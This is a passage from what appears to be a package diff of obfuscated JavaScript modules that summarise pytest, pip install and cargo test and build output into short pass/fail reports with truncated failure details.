a0_0x12ac(_0x3eac70,_0x4392f1){const _0xefa2fb=a0_0xefa2();return a0_0x12ac=function(_0x12acbf,_0x211060){_0x12acbf=_0x12acbf-0x196;let _0x2407da=_0xefa2fb[_0x12acbf];return _0x2407da;},a0_0x12ac(_0x3eac70,_0x4392f1);}Object[a0_0x3e447e(0x1b3)](exports,a0_0x3e447e(0x1bd),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x3e447e(0x19a)]=filterPipInstall;function filterPytest(_0x1690a6){const _0x24842e=a0_0x3e447e,_0x3a2f0e=_0x1690a6[_0x24842e(0x19d)]('\x0a');let _0x21e00e=0x0,_0x96d86d=0x0,_0x1ca68d=0x0,_0x49dd2d=0x0,_0x1359fd=0x0;const _0x4bbbbb=[];let _0x4a8170=[],_0x4e49ab=![];for(const _0x4c51d6 of _0x3a2f0e){const _0x37db47=_0x4c51d6[_0x24842e(0x1a7)]();if(_0x37db47[_0x24842e(0x1be)]('===\x20FAILURES\x20===')||_0x37db47[_0x24842e(0x1be)](_0x24842e(0x19b))){_0x4e49ab=!![];continue;}else(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x197))||_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c2))&&_0x37db47[_0x24842e(0x1bb)]('passed'))&&(_0x4e49ab=![],_0x4a8170['length']>0x0&&(_0x4bbbbb['push'](_0x4a8170),_0x4a8170=[]));if(_0x4e49ab){if(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c3)))_0x4a8170['length']>0x0&&(_0x4bbbbb['push'](_0x4a8170),_0x4a8170=[]),_0x4a8170[_0x24842e(0x1b5)](_0x37db47);else _0x37db47['length']>0x0&&_0x4a8170[_0x24842e(0x1b5)](_0x4c51d6);continue;}if(_0x37db47[_0x24842e(0x1be)](_0x24842e(0x1c2))&&_0x37db47[_0x24842e(0x1bb)](_0x24842e(0x1aa))){const _0x2602aa=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+passed/),_0x4945a5=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+failed/),_0x48f07f=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+skipped/),_0x5b0ca5=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+xfailed/),_0x1d58e7=_0x37db47[_0x24842e(0x1a6)](/(\d+)\s+xpassed/);if(_0x2602aa)_0x21e00e=parseInt(_0x2602aa[0x1]);if(_0x4945a5)_0x96d86d=parseInt(_0x4945a5[0x1]);if(_0x48f07f)_0x1ca68d=parseInt(_0x48f07f[0x1]);if(_0x5b0ca5)_0x49dd2d=parseInt(_0x5b0ca5[0x1]);if(_0x1d58e7)_0x1359fd=parseInt(_0x1d58e7[0x1]);}}_0x4a8170[_0x24842e(0x1bf)]>0x0&&_0x4bbbbb[_0x24842e(0x1b5)](_0x4a8170);if(_0x21e00e===0x0&&_0x96d86d===0x0&&_0x1ca68d===0x0&&_0x49dd2d===0x0&&_0x1359fd===0x0){if(_0x1690a6['includes'](_0x24842e(0x1c0))&&!_0x1690a6['includes'](_0x24842e(0x1ae)))return _0x24842e(0x1b8);return _0x1690a6;}if(_0x96d86d===0x0&&_0x21e00e>0x0&&_0x1ca68d===0x0&&_0x49dd2d===0x0&&_0x1359fd===0x0)return'Pytest:\x20'+_0x21e00e+_0x24842e(0x1b4);const _0x30703e=[];_0x30703e[_0x24842e(0x1b5)](_0x24842e(0x1ba)+_0x21e00e+'\x20passed');if(_0x96d86d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x96d86d+_0x24842e(0x1a3));if(_0x1ca68d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x1ca68d+_0x24842e(0x1b6));if(_0x49dd2d>0x0)_0x30703e[_0x24842e(0x1b5)](_0x49dd2d+_0x24842e(0x1b2));if(_0x1359fd>0x0)_0x30703e[_0x24842e(0x1b5)](_0x1359fd+'\x20xpassed\x20(warning!)');const _0x460d59=[_0x30703e[_0x24842e(0x1c4)](',\x20')];if(_0x4bbbbb['length']>0x0){_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x196));const _0x3689dc=0x3,_0x331c57=_0x4bbbbb[_0x24842e(0x1ad)](0x0,_0x3689dc);for(let _0x4364c2=0x0;_0x4364c2<_0x331c57['length'];_0x4364c2++){const _0x2e38f6=_0x331c57[_0x4364c2],_0x38fd2d=_0x2e38f6[0x0]['replace'](/_/g,'')['trim']();_0x460d59[_0x24842e(0x1b5)]('\x20\x20'+(_0x4364c2+0x1)+'.\x20[FAIL]\x20'+_0x38fd2d);const _0x1eb65a=_0x2e38f6[_0x24842e(0x1ad)](0x1),_0x35d27e=_0x1eb65a[_0x24842e(0x1b7)](_0x128db8=>{const _0x137850=_0x24842e,_0x507412=_0x128db8[_0x137850(0x1a7)]();return _0x507412[_0x137850(0x1be)]('>')||_0x507412[_0x137850(0x1be)](_0x137850(0x1c1))||_0x507412['includes'](_0x137850(0x1c6))||_0x507412[_0x137850(0x1bb)](_0x137850(0x1c5));});for(const _0x1ff4cc of _0x35d27e[_0x24842e(0x1ad)](0x0,0x8)){_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x1ac)+_0x1ff4cc);}_0x35d27e[_0x24842e(0x1bf)]>0x8&&_0x460d59[_0x24842e(0x1b5)](_0x24842e(0x19e)+(_0x35d27e['length']-0x8)+_0x24842e(0x198));}_0x4bbbbb[_0x24842e(0x1bf)]>_0x3689dc&&_0x460d59[_0x24842e(0x1b5)]('\x20\x20...\x20+'+(_0x4bbbbb[_0x24842e(0x1bf)]-_0x3689dc)+_0x24842e(0x1b0));}return _0x460d59[_0x24842e(0x1c4)]('\x0a');}function filterPipInstall(_0x2176d1){const _0x36daaf=a0_0x3e447e,_0xf7a6fa=_0x2176d1[_0x36daaf(0x19d)]('\x0a'),_0x13d7e0=[];for(const _0x2d3d73 of _0xf7a6fa){const _0x573fb8=_0x2d3d73[_0x36daaf(0x1a7)]();_0x573fb8[_0x36daaf(0x1be)](_0x36daaf(0x1a8))&&_0x13d7e0[_0x36daaf(0x1b5)](_0x573fb8);}if(_0x13d7e0['length']>0x0)return _0x13d7e0[_0x36daaf(0x1c4)]('\x0a');return _0xf7a6fa['filter'](_0x4247b7=>{const _0xc5ef1e=_0x36daaf,_0x1875f0=_0x4247b7['trim']();return!_0x1875f0[_0xc5ef1e(0x1be)]('Collecting')&&!_0x1875f0[_0xc5ef1e(0x1be)](_0xc5ef1e(0x199))&&!_0x1875f0['includes'](_0xc5ef1e(0x1b9))&&!_0x1875f0[_0xc5ef1e(0x1be)](_0xc5ef1e(0x1bc));})['join']('\x0a')[_0x36daaf(0x1a7)]();}
1
+ 'use strict';const a0_0x3d4088=a0_0x2111;(function(_0x31a1d8,_0x168a38){const _0x58b200=a0_0x2111,_0x4b8431=_0x31a1d8();while(!![]){try{const _0x1fe590=parseInt(_0x58b200(0x138))/0x1*(parseInt(_0x58b200(0x150))/0x2)+parseInt(_0x58b200(0x15e))/0x3+parseInt(_0x58b200(0x15a))/0x4+-parseInt(_0x58b200(0x13f))/0x5*(-parseInt(_0x58b200(0x159))/0x6)+parseInt(_0x58b200(0x136))/0x7+parseInt(_0x58b200(0x146))/0x8+-parseInt(_0x58b200(0x134))/0x9;if(_0x1fe590===_0x168a38)break;else _0x4b8431['push'](_0x4b8431['shift']());}catch(_0x169fad){_0x4b8431['push'](_0x4b8431['shift']());}}}(a0_0x4e07,0xa25ab));Object[a0_0x3d4088(0x14e)](exports,a0_0x3d4088(0x13e),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x3d4088(0x133)]=filterPipInstall;function filterPytest(_0x3868f8){const _0x2209f2=a0_0x3d4088,_0x256820=_0x3868f8[_0x2209f2(0x14a)]('\x0a');let _0x5dcb07=0x0,_0xaa6bfa=0x0,_0x22472b=0x0,_0x3b0417=0x0,_0x40c437=0x0;const _0x84690d=[];let _0x5180d3=[],_0x3051e2=![];for(const _0x30bb1a of _0x256820){const _0x4f2a70=_0x30bb1a[_0x2209f2(0x139)]();if(_0x4f2a70['startsWith'](_0x2209f2(0x143))||_0x4f2a70[_0x2209f2(0x13c)](_0x2209f2(0x144))){_0x3051e2=!![];continue;}else(_0x4f2a70[_0x2209f2(0x13c)](_0x2209f2(0x15b))||_0x4f2a70[_0x2209f2(0x13c)]('===')&&_0x4f2a70['includes'](_0x2209f2(0x149)))&&(_0x3051e2=![],_0x5180d3[_0x2209f2(0x145)]>0x0&&(_0x84690d[_0x2209f2(0x160)](_0x5180d3),_0x5180d3=[]));if(_0x3051e2){if(_0x4f2a70[_0x2209f2(0x13c)](_0x2209f2(0x132)))_0x5180d3[_0x2209f2(0x145)]>0x0&&(_0x84690d['push'](_0x5180d3),_0x5180d3=[]),_0x5180d3[_0x2209f2(0x160)](_0x4f2a70);else _0x4f2a70[_0x2209f2(0x145)]>0x0&&_0x5180d3[_0x2209f2(0x160)](_0x30bb1a);continue;}if(_0x4f2a70[_0x2209f2(0x13c)]('===')&&_0x4f2a70['includes']('\x20in\x20')){const _0x5ef856=_0x4f2a70[_0x2209f2(0x137)](/(\d+)\s+passed/),_0x3598bd=_0x4f2a70[_0x2209f2(0x137)](/(\d+)\s+failed/),_0x852e33=_0x4f2a70['match'](/(\d+)\s+skipped/),_0x177856=_0x4f2a70[_0x2209f2(0x137)](/(\d+)\s+xfailed/),_0x2d50f0=_0x4f2a70[_0x2209f2(0x137)](/(\d+)\s+xpassed/);if(_0x5ef856)_0x5dcb07=parseInt(_0x5ef856[0x1]);if(_0x3598bd)_0xaa6bfa=parseInt(_0x3598bd[0x1]);if(_0x852e33)_0x22472b=parseInt(_0x852e33[0x1]);if(_0x177856)_0x3b0417=parseInt(_0x177856[0x1]);if(_0x2d50f0)_0x40c437=parseInt(_0x2d50f0[0x1]);}}_0x5180d3[_0x2209f2(0x145)]>0x0&&_0x84690d[_0x2209f2(0x160)](_0x5180d3);if(_0x5dcb07===0x0&&_0xaa6bfa===0x0&&_0x22472b===0x0&&_0x3b0417===0x0&&_0x40c437===0x0){if(_0x3868f8['includes'](_0x2209f2(0x149))&&!_0x3868f8[_0x2209f2(0x15c)](_0x2209f2(0x13d)))return _0x2209f2(0x14d);return _0x3868f8;}if(_0xaa6bfa===0x0&&_0x5dcb07>0x0&&_0x22472b===0x0&&_0x3b0417===0x0&&_0x40c437===0x0)return _0x2209f2(0x15d)+_0x5dcb07+_0x2209f2(0x153);const _0x9d4209=[];_0x9d4209[_0x2209f2(0x160)](_0x2209f2(0x15d)+_0x5dcb07+_0x2209f2(0x153));if(_0xaa6bfa>0x0)_0x9d4209[_0x2209f2(0x160)](_0xaa6bfa+_0x2209f2(0x141));if(_0x22472b>0x0)_0x9d4209[_0x2209f2(0x160)](_0x22472b+_0x2209f2(0x157));if(_0x3b0417>0x0)_0x9d4209[_0x2209f2(0x160)](_0x3b0417+_0x2209f2(0x13a));if(_0x40c437>0x0)_0x9d4209[_0x2209f2(0x160)](_0x40c437+_0x2209f2(0x140));const _0xc8bc2c=[_0x9d4209['join'](',\x20')];if(_0x84690d[_0x2209f2(0x145)]>0x0){_0xc8bc2c[_0x2209f2(0x160)]('\x0aFailures:');const _0x3b542e=0x3,_0x2201ed=_0x84690d[_0x2209f2(0x142)](0x0,_0x3b542e);for(let _0x23302b=0x0;_0x23302b<_0x2201ed['length'];_0x23302b++){const _0x52ee66=_0x2201ed[_0x23302b],_0x483a66=_0x52ee66[0x0][_0x2209f2(0x135)](/_/g,'')[_0x2209f2(0x139)]();_0xc8bc2c['push']('\x20\x20'+(_0x23302b+0x1)+_0x2209f2(0x148)+_0x483a66);const _0x36d829=_0x52ee66['slice'](0x1),_0x196767=_0x36d829['filter'](_0x5c3dbb=>{const _0x5a4651=_0x2209f2,_0x2d654b=_0x5c3dbb[_0x5a4651(0x139)]();return _0x2d654b['startsWith']('>')||_0x2d654b[_0x5a4651(0x13c)](_0x5a4651(0x14c))||_0x2d654b[_0x5a4651(0x15c)]('.py:')||_0x2d654b[_0x5a4651(0x15c)](_0x5a4651(0x14b));});for(const _0x204c2d of _0x196767['slice'](0x0,0x8)){_0xc8bc2c['push'](_0x2209f2(0x14f)+_0x204c2d);}_0x196767['length']>0x8&&_0xc8bc2c[_0x2209f2(0x160)](_0x2209f2(0x154)+(_0x196767['length']-0x8)+_0x2209f2(0x147));}_0x84690d[_0x2209f2(0x145)]>_0x3b542e&&_0xc8bc2c['push'](_0x2209f2(0x151)+(_0x84690d[_0x2209f2(0x145)]-_0x3b542e)+_0x2209f2(0x158));}return _0xc8bc2c[_0x2209f2(0x130)]('\x0a');}function filterPipInstall(_0x3185d0){const _0x49d326=a0_0x3d4088,_0x5e37a5=_0x3185d0[_0x49d326(0x14a)]('\x0a'),_0x2fce1e=[];for(const _0x152927 of _0x5e37a5){const _0x347225=_0x152927[_0x49d326(0x139)]();_0x347225[_0x49d326(0x13c)](_0x49d326(0x156))&&_0x2fce1e[_0x49d326(0x160)](_0x347225);}if(_0x2fce1e[_0x49d326(0x145)]>0x0)return _0x2fce1e[_0x49d326(0x130)]('\x0a');return _0x5e37a5[_0x49d326(0x155)](_0x510f6c=>{const _0x2c9727=_0x49d326,_0x106372=_0x510f6c[_0x2c9727(0x139)]();return!_0x106372[_0x2c9727(0x13c)](_0x2c9727(0x131))&&!_0x106372[_0x2c9727(0x13c)](_0x2c9727(0x13b))&&!_0x106372[_0x2c9727(0x15c)](_0x2c9727(0x152))&&!_0x106372[_0x2c9727(0x13c)](_0x2c9727(0x15f));})[_0x49d326(0x130)]('\x0a')['trim']();}function a0_0x2111(_0x1b26f4,_0x483a29){const _0x4e07aa=a0_0x4e07();return a0_0x2111=function(_0x2111cc,_0x1b6f6e){_0x2111cc=_0x2111cc-0x130;let _0xbec499=_0x4e07aa[_0x2111cc];return _0xbec499;},a0_0x2111(_0x1b26f4,_0x483a29);}function a0_0x4e07(){const _0x45d69c=['includes','Pytest:\x20','3320682ecfsUR','Requirement\x20already\x20satisfied','push','join','Collecting','___','filterPipInstall','39415158AfsEJR','replace','7473277JuFGBQ','match','168854iGDIbH','trim','\x20xfailed','Downloading','startsWith','failed','__esModule','3668495OxcLax','\x20xpassed\x20(warning!)','\x20failed','slice','===\x20FAILURES\x20===','===\x20ERRORS\x20===','length','7011688XpXZRw','\x20lines\x20of\x20stacktrace\x20truncated)','.\x20[FAIL]\x20','passed','split','AssertionError:','E\x20\x20\x20','Pytest:\x20All\x20tests\x20passed','defineProperty','\x20\x20\x20\x20','10YYGTBV','\x20\x20...\x20+','Using\x20cached','\x20passed','\x20\x20\x20\x20...\x20(','filter','Successfully\x20installed','\x20skipped','\x20more\x20failures\x20truncated','6drcVJq','1662120RvBXdz','===\x20short\x20test\x20summary\x20info\x20==='];a0_0x4e07=function(){return _0x45d69c;};return a0_0x4e07();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5a6cea=a0_0x26ea;function a0_0x1f62(){const _0x490b8f=['2006jwBjvy','split','\x20crates\x20successfully','length','Cargo\x20test:\x20all\x20tests\x20passed','warning[','warning:','611199tDXXHT','\x0aWarnings:','\x0aFailures:','88SagDZz','test\x20result:\x20ok','trim','Cargo\x20test:\x20','\x20----','\x20\x20\x20\x20','assert','slice','right:','17855beVbyI','failures:','Compiling\x20','error:','filter','4212ZjxZjz','startsWith','Cargo:\x20','min','\x20warnings','30789SYjCVj','Cargo:\x20compiled\x20','error[','panicked','\x20ignored','7HFgeeH','push','3158286UKQxnX','endsWith','307sonPhk','10245410BAspFn','join','\x20passed,\x20','replace','test\x20result:','212mOxHUg','includes','defineProperty','\x20passed','match','5819118JeTBLy','\x20errors,\x20'];a0_0x1f62=function(){return _0x490b8f;};return a0_0x1f62();}(function(_0x549dba,_0x466133){const _0x41143e=a0_0x26ea,_0x527e62=_0x549dba();while(!![]){try{const _0x435eb3=-parseInt(_0x41143e(0xaf))/0x1*(parseInt(_0x41143e(0xbc))/0x2)+-parseInt(_0x41143e(0xad))/0x3+-parseInt(_0x41143e(0xb5))/0x4*(-parseInt(_0x41143e(0x9c))/0x5)+parseInt(_0x41143e(0xba))/0x6*(parseInt(_0x41143e(0xab))/0x7)+-parseInt(_0x41143e(0xc6))/0x8*(-parseInt(_0x41143e(0xc3))/0x9)+parseInt(_0x41143e(0xb0))/0xa+parseInt(_0x41143e(0xa6))/0xb*(-parseInt(_0x41143e(0xa1))/0xc);if(_0x435eb3===_0x466133)break;else _0x527e62['push'](_0x527e62['shift']());}catch(_0x7d8a04){_0x527e62['push'](_0x527e62['shift']());}}}(a0_0x1f62,0x8f71a));function a0_0x26ea(_0x361594,_0x538187){const _0x1f62d1=a0_0x1f62();return a0_0x26ea=function(_0x26eaff,_0x3cc953){_0x26eaff=_0x26eaff-0x99;let _0x129b22=_0x1f62d1[_0x26eaff];return _0x129b22;},a0_0x26ea(_0x361594,_0x538187);}Object[a0_0x5a6cea(0xb7)](exports,'__esModule',{'value':!![]}),exports['filterCargoTest']=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x58d8a4){const _0x1d8264=a0_0x5a6cea,_0x5c5f92=_0x58d8a4['split']('\x0a');let _0x576f16=0x0,_0x4476f5=0x0,_0x346e07=0x0,_0x3ad242=0x0;const _0x21e939=[];let _0x280292=![],_0x1d888b=[];for(const _0x12ef18 of _0x5c5f92){const _0x453657=_0x12ef18['trim'](),_0xe2f96e=_0x453657[_0x1d8264(0xb9)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0xe2f96e){_0x576f16+=parseInt(_0xe2f96e[0x2]),_0x4476f5+=parseInt(_0xe2f96e[0x3]),_0x346e07+=parseInt(_0xe2f96e[0x4]),_0x3ad242+=parseInt(_0xe2f96e[0x5]);continue;}if(_0x453657==='failures:'||_0x453657==='----\x20failures\x20----'){_0x280292=!![];continue;}if(_0x280292){if(_0x453657['startsWith']('----\x20')&&_0x453657[_0x1d8264(0xae)](_0x1d8264(0xca))){if(_0x1d888b['length']>0x0)_0x21e939['push'](_0x1d888b['join']('\x0a'));_0x1d888b=[_0x453657[_0x1d8264(0xb3)](/^-+\s*/,'')[_0x1d8264(0xb3)](/\s*-+$/,'')];}else{if(_0x453657===_0x1d8264(0x9d)||_0x453657[_0x1d8264(0xa2)](_0x1d8264(0xb4))){if(_0x1d888b[_0x1d8264(0xbf)]>0x0)_0x21e939[_0x1d8264(0xac)](_0x1d888b[_0x1d8264(0xb1)]('\x0a'));_0x1d888b=[],_0x280292=![];}else _0x453657['length']>0x0&&_0x1d888b[_0x1d8264(0xac)](_0x12ef18);}}}if(_0x1d888b[_0x1d8264(0xbf)]>0x0)_0x21e939['push'](_0x1d888b[_0x1d8264(0xb1)]('\x0a'));if(_0x576f16===0x0&&_0x4476f5===0x0&&_0x346e07===0x0){if(_0x58d8a4[_0x1d8264(0xb6)](_0x1d8264(0xc7)))return _0x1d8264(0xc0);return _0x58d8a4;}if(_0x4476f5===0x0){const _0x2469ea=[_0x1d8264(0xc9)+_0x576f16+_0x1d8264(0xb8)];if(_0x346e07>0x0)_0x2469ea[_0x1d8264(0xac)](_0x346e07+_0x1d8264(0xaa));return _0x2469ea[_0x1d8264(0xb1)](',\x20');}const _0x978745=[_0x1d8264(0xc9)+_0x576f16+_0x1d8264(0xb2)+_0x4476f5+'\x20failed,\x20'+_0x346e07+_0x1d8264(0xaa)];if(_0x21e939[_0x1d8264(0xbf)]>0x0){_0x978745[_0x1d8264(0xac)](_0x1d8264(0xc5));const _0x374835=0x3;for(let _0x446e18=0x0;_0x446e18<Math[_0x1d8264(0xa4)](_0x21e939['length'],_0x374835);_0x446e18++){const _0x38fb44=_0x21e939[_0x446e18][_0x1d8264(0xbd)]('\x0a');_0x978745[_0x1d8264(0xac)]('\x20\x20'+(_0x446e18+0x1)+'.\x20'+_0x38fb44[0x0]);const _0x5859ea=_0x38fb44[_0x1d8264(0x9a)](0x1),_0xfdc35e=_0x5859ea[_0x1d8264(0xa0)](_0x289a86=>_0x289a86[_0x1d8264(0xc8)]()['startsWith']('thread')||_0x289a86[_0x1d8264(0xb6)](_0x1d8264(0xa9))||_0x289a86[_0x1d8264(0xb6)](_0x1d8264(0x99))||_0x289a86['includes']('left:')||_0x289a86['includes'](_0x1d8264(0x9b)));for(const _0x63a795 of _0xfdc35e['slice'](0x0,0x5)){_0x978745['push'](_0x1d8264(0xcb)+_0x63a795[_0x1d8264(0xc8)]());}}_0x21e939[_0x1d8264(0xbf)]>_0x374835&&_0x978745[_0x1d8264(0xac)]('\x20\x20...\x20+'+(_0x21e939[_0x1d8264(0xbf)]-_0x374835)+'\x20more\x20failures');}return _0x978745['join']('\x0a');}function filterCargoBuild(_0x3e8f96){const _0xd2905f=a0_0x5a6cea,_0x2495a0=_0x3e8f96['split']('\x0a'),_0x4f1539=[],_0x58861d=[];let _0x4aa13f=0x0;for(const _0x1162b3 of _0x2495a0){const _0x31f6fb=_0x1162b3['trim']();if(_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0x9e)))_0x4aa13f++;else{if(_0x31f6fb['startsWith'](_0xd2905f(0xc1))||_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0xc2)))_0x4f1539[_0xd2905f(0xac)](_0x31f6fb);else{if(_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0xa8))||_0x31f6fb[_0xd2905f(0xa2)](_0xd2905f(0x9f)))_0x58861d[_0xd2905f(0xac)](_0x31f6fb);}}}if(_0x58861d['length']===0x0&&_0x4f1539[_0xd2905f(0xbf)]===0x0)return _0x4aa13f>0x0?_0xd2905f(0xa7)+_0x4aa13f+_0xd2905f(0xbe):_0x3e8f96[_0xd2905f(0xc8)]();const _0x93c8ff=[];if(_0x58861d[_0xd2905f(0xbf)]>0x0){_0x93c8ff[_0xd2905f(0xac)](_0xd2905f(0xa3)+_0x58861d[_0xd2905f(0xbf)]+_0xd2905f(0xbb)+_0x4f1539[_0xd2905f(0xbf)]+_0xd2905f(0xa5)),_0x93c8ff['push']('\x0aErrors:');for(const _0xbb4ff6 of _0x58861d[_0xd2905f(0x9a)](0x0,0x5))_0x93c8ff['push']('\x20\x20'+_0xbb4ff6);if(_0x58861d[_0xd2905f(0xbf)]>0x5)_0x93c8ff[_0xd2905f(0xac)]('\x20\x20...\x20+'+(_0x58861d[_0xd2905f(0xbf)]-0x5)+'\x20more\x20errors');}else _0x93c8ff[_0xd2905f(0xac)]('Cargo:\x20compiled\x20'+_0x4aa13f+'\x20crates,\x20'+_0x4f1539[_0xd2905f(0xbf)]+_0xd2905f(0xa5));if(_0x4f1539['length']>0x0&&_0x4f1539['length']<=0x5){_0x93c8ff[_0xd2905f(0xac)](_0xd2905f(0xc4));for(const _0x80116 of _0x4f1539)_0x93c8ff['push']('\x20\x20'+_0x80116);}else _0x4f1539['length']>0x5&&_0x93c8ff[_0xd2905f(0xac)]('\x0a('+_0x4f1539['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x93c8ff[_0xd2905f(0xb1)]('\x0a');}
1
+ 'use strict';const a0_0x6565a9=a0_0x3f7a;function a0_0x3f7a(_0x302e65,_0x4a592f){const _0x2899c9=a0_0x2899();return a0_0x3f7a=function(_0x3f7ab1,_0x44516f){_0x3f7ab1=_0x3f7ab1-0x1d5;let _0x5b4d93=_0x2899c9[_0x3f7ab1];return _0x5b4d93;},a0_0x3f7a(_0x302e65,_0x4a592f);}(function(_0x42687e,_0x1b93f7){const _0x9a78b4=a0_0x3f7a,_0x382182=_0x42687e();while(!![]){try{const _0x245a10=parseInt(_0x9a78b4(0x200))/0x1+-parseInt(_0x9a78b4(0x1ea))/0x2+parseInt(_0x9a78b4(0x1d7))/0x3+parseInt(_0x9a78b4(0x1f4))/0x4*(-parseInt(_0x9a78b4(0x1d9))/0x5)+parseInt(_0x9a78b4(0x1f2))/0x6*(parseInt(_0x9a78b4(0x1e3))/0x7)+parseInt(_0x9a78b4(0x204))/0x8*(parseInt(_0x9a78b4(0x1dc))/0x9)+-parseInt(_0x9a78b4(0x206))/0xa;if(_0x245a10===_0x1b93f7)break;else _0x382182['push'](_0x382182['shift']());}catch(_0x3d9c2a){_0x382182['push'](_0x382182['shift']());}}}(a0_0x2899,0x4411c));Object[a0_0x6565a9(0x1e0)](exports,'__esModule',{'value':!![]}),exports[a0_0x6565a9(0x205)]=filterCargoTest,exports[a0_0x6565a9(0x1fc)]=filterCargoBuild;function filterCargoTest(_0x1c9c33){const _0x288bf1=a0_0x6565a9,_0x4641ad=_0x1c9c33[_0x288bf1(0x1f3)]('\x0a');let _0x27e30d=0x0,_0x4bbb5f=0x0,_0x55fd1b=0x0,_0x2d9bca=0x0;const _0x1830a8=[];let _0x3e040a=![],_0x3093c1=[];for(const _0x59b2a9 of _0x4641ad){const _0x1e06ce=_0x59b2a9[_0x288bf1(0x1ee)](),_0x4234b2=_0x1e06ce['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x4234b2){_0x27e30d+=parseInt(_0x4234b2[0x2]),_0x4bbb5f+=parseInt(_0x4234b2[0x3]),_0x55fd1b+=parseInt(_0x4234b2[0x4]),_0x2d9bca+=parseInt(_0x4234b2[0x5]);continue;}if(_0x1e06ce===_0x288bf1(0x1f8)||_0x1e06ce==='----\x20failures\x20----'){_0x3e040a=!![];continue;}if(_0x3e040a){if(_0x1e06ce[_0x288bf1(0x1e4)]('----\x20')&&_0x1e06ce['endsWith']('\x20----')){if(_0x3093c1[_0x288bf1(0x1eb)]>0x0)_0x1830a8['push'](_0x3093c1[_0x288bf1(0x1d6)]('\x0a'));_0x3093c1=[_0x1e06ce[_0x288bf1(0x1e6)](/^-+\s*/,'')[_0x288bf1(0x1e6)](/\s*-+$/,'')];}else{if(_0x1e06ce==='failures:'||_0x1e06ce['startsWith'](_0x288bf1(0x1f1))){if(_0x3093c1[_0x288bf1(0x1eb)]>0x0)_0x1830a8[_0x288bf1(0x1ed)](_0x3093c1['join']('\x0a'));_0x3093c1=[],_0x3e040a=![];}else _0x1e06ce[_0x288bf1(0x1eb)]>0x0&&_0x3093c1[_0x288bf1(0x1ed)](_0x59b2a9);}}}if(_0x3093c1['length']>0x0)_0x1830a8['push'](_0x3093c1[_0x288bf1(0x1d6)]('\x0a'));if(_0x27e30d===0x0&&_0x4bbb5f===0x0&&_0x55fd1b===0x0){if(_0x1c9c33[_0x288bf1(0x203)](_0x288bf1(0x1fd)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x1c9c33;}if(_0x4bbb5f===0x0){const _0x5d9765=[_0x288bf1(0x1e5)+_0x27e30d+_0x288bf1(0x1fb)];if(_0x55fd1b>0x0)_0x5d9765[_0x288bf1(0x1ed)](_0x55fd1b+_0x288bf1(0x1db));return _0x5d9765[_0x288bf1(0x1d6)](',\x20');}const _0x1af358=[_0x288bf1(0x1e5)+_0x27e30d+'\x20passed,\x20'+_0x4bbb5f+_0x288bf1(0x1d5)+_0x55fd1b+'\x20ignored'];if(_0x1830a8['length']>0x0){_0x1af358['push'](_0x288bf1(0x1dd));const _0x51ac9f=0x3;for(let _0x49e0ef=0x0;_0x49e0ef<Math[_0x288bf1(0x1e9)](_0x1830a8['length'],_0x51ac9f);_0x49e0ef++){const _0x41568d=_0x1830a8[_0x49e0ef][_0x288bf1(0x1f3)]('\x0a');_0x1af358['push']('\x20\x20'+(_0x49e0ef+0x1)+'.\x20'+_0x41568d[0x0]);const _0x44a291=_0x41568d[_0x288bf1(0x1e7)](0x1),_0x51d921=_0x44a291['filter'](_0x281979=>_0x281979[_0x288bf1(0x1ee)]()[_0x288bf1(0x1e4)](_0x288bf1(0x1d8))||_0x281979[_0x288bf1(0x203)]('panicked')||_0x281979[_0x288bf1(0x203)](_0x288bf1(0x1de))||_0x281979['includes'](_0x288bf1(0x1da))||_0x281979['includes'](_0x288bf1(0x1e1)));for(const _0x3911ee of _0x51d921[_0x288bf1(0x1e7)](0x0,0x5)){_0x1af358[_0x288bf1(0x1ed)](_0x288bf1(0x1f0)+_0x3911ee[_0x288bf1(0x1ee)]());}}_0x1830a8[_0x288bf1(0x1eb)]>_0x51ac9f&&_0x1af358[_0x288bf1(0x1ed)](_0x288bf1(0x201)+(_0x1830a8[_0x288bf1(0x1eb)]-_0x51ac9f)+'\x20more\x20failures');}return _0x1af358[_0x288bf1(0x1d6)]('\x0a');}function filterCargoBuild(_0x3c104c){const _0x17d56a=a0_0x6565a9,_0x2e1370=_0x3c104c[_0x17d56a(0x1f3)]('\x0a'),_0x5eba3b=[],_0x364a0c=[];let _0x397cd6=0x0;for(const _0x46a642 of _0x2e1370){const _0x244887=_0x46a642[_0x17d56a(0x1ee)]();if(_0x244887[_0x17d56a(0x1e4)](_0x17d56a(0x1ec)))_0x397cd6++;else{if(_0x244887[_0x17d56a(0x1e4)](_0x17d56a(0x202))||_0x244887[_0x17d56a(0x1e4)](_0x17d56a(0x1f6)))_0x5eba3b[_0x17d56a(0x1ed)](_0x244887);else{if(_0x244887['startsWith'](_0x17d56a(0x1f7))||_0x244887[_0x17d56a(0x1e4)](_0x17d56a(0x1df)))_0x364a0c[_0x17d56a(0x1ed)](_0x244887);}}}if(_0x364a0c[_0x17d56a(0x1eb)]===0x0&&_0x5eba3b[_0x17d56a(0x1eb)]===0x0)return _0x397cd6>0x0?_0x17d56a(0x1fa)+_0x397cd6+_0x17d56a(0x1f9):_0x3c104c[_0x17d56a(0x1ee)]();const 